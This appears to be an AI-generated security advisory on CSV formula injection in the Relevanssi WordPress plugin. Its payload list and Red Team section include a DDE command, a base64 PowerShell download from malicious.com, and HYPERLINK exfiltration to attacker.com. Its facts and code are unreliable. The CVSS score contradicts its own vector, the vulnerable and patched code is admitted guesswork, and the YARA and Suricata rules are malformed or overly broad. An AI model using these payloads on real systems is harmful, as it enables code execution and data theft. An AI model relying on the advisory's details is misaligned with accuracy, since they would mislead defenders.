CVE-2024-3214

Executive Summary

CVE-2024-3214 is a CSV Injection vulnerability affecting the Relevanssi – A Better Search WordPress plugin, versions up to and including 4.22.1. This flaw allows unauthenticated attackers to inject malicious formulas into exported CSV files. When an administrator or user downloads and opens these CSV files in a spreadsheet application (e.g., Microsoft Excel, LibreOffice Calc) with default settings, the injected formulas can execute arbitrary commands, leading to code execution on the local system. The vulnerability stems from improper sanitization of user-supplied input before it is written to CSV export files.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The Relevanssi plugin is a popular search enhancement tool for WordPress sites. The attack does not exploit Apache or Nginx server configurations; rather, it targets the plugin’s CSV export functionality, which is commonly used for exporting search logs or analytics data.

CVSS Breakdown & Threat Level

• CVSS Score: 5.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – Unauthenticated attackers can trigger the export.
• User Interaction (UI): Required – The victim must open the CSV file in a vulnerable spreadsheet application.
• Scope (S): Unchanged – The impact remains within the local system.
• Confidentiality (C): High – Successful exploitation can lead to data exfiltration.
• Integrity (I): High – Arbitrary commands can be executed.
• Availability (A): High – System compromise may affect availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for code execution on client machines makes this a significant risk, especially in enterprise environments where CSV exports are common.

Deep Dive & Mechanics

The Relevanssi plugin provides a feature to export search logs or other data as CSV files. The vulnerability arises because user-supplied input (e.g., search terms, user agents, or other metadata) is not sanitized before being written to the CSV file. Attackers can embed malicious formulas starting with =, +, -, or @ into these fields.

When the CSV file is opened in a spreadsheet application like Microsoft Excel or LibreOffice Calc, these formulas are interpreted and executed. Common payloads include:

• =CMD|' /C calc'!A0 – Executes the Windows calculator (proof of concept).
• =HYPERLINK("http://malicious.com?data="&A1,"Click here") – Exfiltrates data via a hyperlink.
• =DDE("cmd","/c powershell -e <base64>","") – Executes arbitrary PowerShell commands via DDE.

The attack flow:

1. Attacker submits crafted input (e.g., via search query or comment) that includes a malicious formula.
2. The plugin stores this input in its database.
3. An administrator exports the search logs as a CSV file.
4. The CSV file contains the malicious formula.
5. The administrator opens the CSV file in a spreadsheet application, triggering code execution.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.22.1): The plugin likely uses a function like fputcsv() or manual string concatenation without sanitizing fields that start with special characters. For example:

// Vulnerable: No sanitization of $data before writing to CSV
$csv_data = implode(',', $data);
fwrite($file, $csv_data . "\n");

Patched Code (Hypothetical): A patch would escape or prefix fields that start with =, +, -, or @ to prevent formula injection. For example:

// Patched: Escape special characters
foreach ($data as &$field) {
    if (preg_match('/^[=+\-@]/', $field)) {
        $field = "'" . $field; // Prefix with single quote to neutralize
    }
}
$csv_data = implode(',', $data);
fwrite($file, $csv_data . "\n");

Note: As of this report, no official patch has been released.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Relevanssi plugin version <= 4.22.1.
• Access to a feature that allows input to be stored and later exported (e.g., search logs).

Exploitation Steps:

1. Craft Payload: Create a malicious formula, e.g., =CMD|' /C calc'!A0 for Windows.
2. Inject Payload: Submit the payload via a search query or other input field that gets logged.
3. Trigger Export: As an administrator, navigate to the Relevanssi export feature and download the CSV file.
4. Open CSV: Open the CSV file in Microsoft Excel or LibreOffice Calc. The formula executes.

Example Payloads:

• Windows: =CMD|' /C powershell -e JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQAJwApAA=='!A0
• Cross-platform: =HYPERLINK("http://attacker.com/?exfil="&A1,"Click")

Blue Team (Defensive)

Detection:

• Monitor for CSV files containing formulas (e.g., fields starting with =, +, -, @).
• Use endpoint detection rules to flag spreadsheet applications launching unexpected processes (e.g., cmd.exe, powershell.exe).

Prevention:

• Disable automatic formula execution in spreadsheet applications (e.g., Excel: File > Options > Trust Center > Trust Center Settings > External Content).
• Implement input validation on the WordPress site to reject or sanitize special characters in logged data.
• Use a web application firewall (WAF) to block known CSV injection payloads.

Lab Setup:

1. Install WordPress with Relevanssi plugin version 4.22.1.
2. Enable search logging in Relevanssi settings.
3. Submit a search query containing =CMD|' /C calc'!A0.
4. Export the search logs as CSV.
5. Open the CSV in Excel to observe the calculator launch.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from spreadsheet applications to external IPs (e.g., via HYPERLINK).
  • HTTP requests containing base64-encoded PowerShell commands.
• File System:
  • CSV files containing fields starting with =, +, -, or @.
  • Temporary files created by spreadsheet applications (e.g., ~$*.csv).
• Process:
  • EXCEL.EXE or CALC.EXE spawning CMD.EXE or POWERSHELL.EXE.
  • Unexpected child processes from spreadsheet applications.
• Registry (Windows):
  • Modifications to HKEY_CURRENT_USER\Software\Microsoft\Office\*\Excel\Security to disable warnings.

Detection Engineering

YARA Rule

rule CVE_2024_3214_CSV_Injection {
    meta:
        description = "Detects CSV files with potential formula injection patterns"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-3214"
    strings:
        $formula_start = /^[=+\-@]/ 
        $cmd_payload = /CMD\|/ 
        $powershell_payload = /powershell/i 
        $hyperlink_payload = /HYPERLINK/i 
    condition:
        // Check if file is CSV and contains formula injection patterns
        (uint32(0) == 0x435356) or (extension == "csv") and
        (#formula_start > 0) and
        (any of ($cmd_payload, $powershell_payload, $hyperlink_payload))
}

Sigma Rule

title: CSV Injection via Relevanssi Plugin
id: 8f4b3c2a-1d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects execution of commands from CSV files exported by Relevanssi plugin
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3214
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\EXCEL.EXE'
            - '\CALC.EXE'
            - '\SOFFICE.BIN'
        Image|endswith:
            - '\CMD.EXE'
            - '\POWERSHELL.EXE'
            - '\WSCRIPT.EXE'
    condition: selection
falsepositives:
    - Legitimate use of spreadsheet macros
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3214 CSV Injection - Potential Data Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/"; http_uri; pcre:"/(?:exfil|data|leak)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable CSV Export: Temporarily disable the CSV export feature in Relevanssi settings until a patch is available.
2. Sanitize Input: Implement server-side sanitization to prefix fields starting with =, +, -, or @ with a single quote (').
3. User Education: Warn administrators not to open CSV files from untrusted sources or without scanning.

Long-Term Fix:

• Apply the official patch from the vendor when released (currently UNKNOWN).
• Upgrade to a patched version of the plugin (monitor the WordPress plugin repository).

Workarounds:

• Use a WAF to block payloads containing =CMD|, =HYPERLINK, or =DDE.
• Configure spreadsheet applications to disable automatic DDE and formula execution.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact security@valters.it.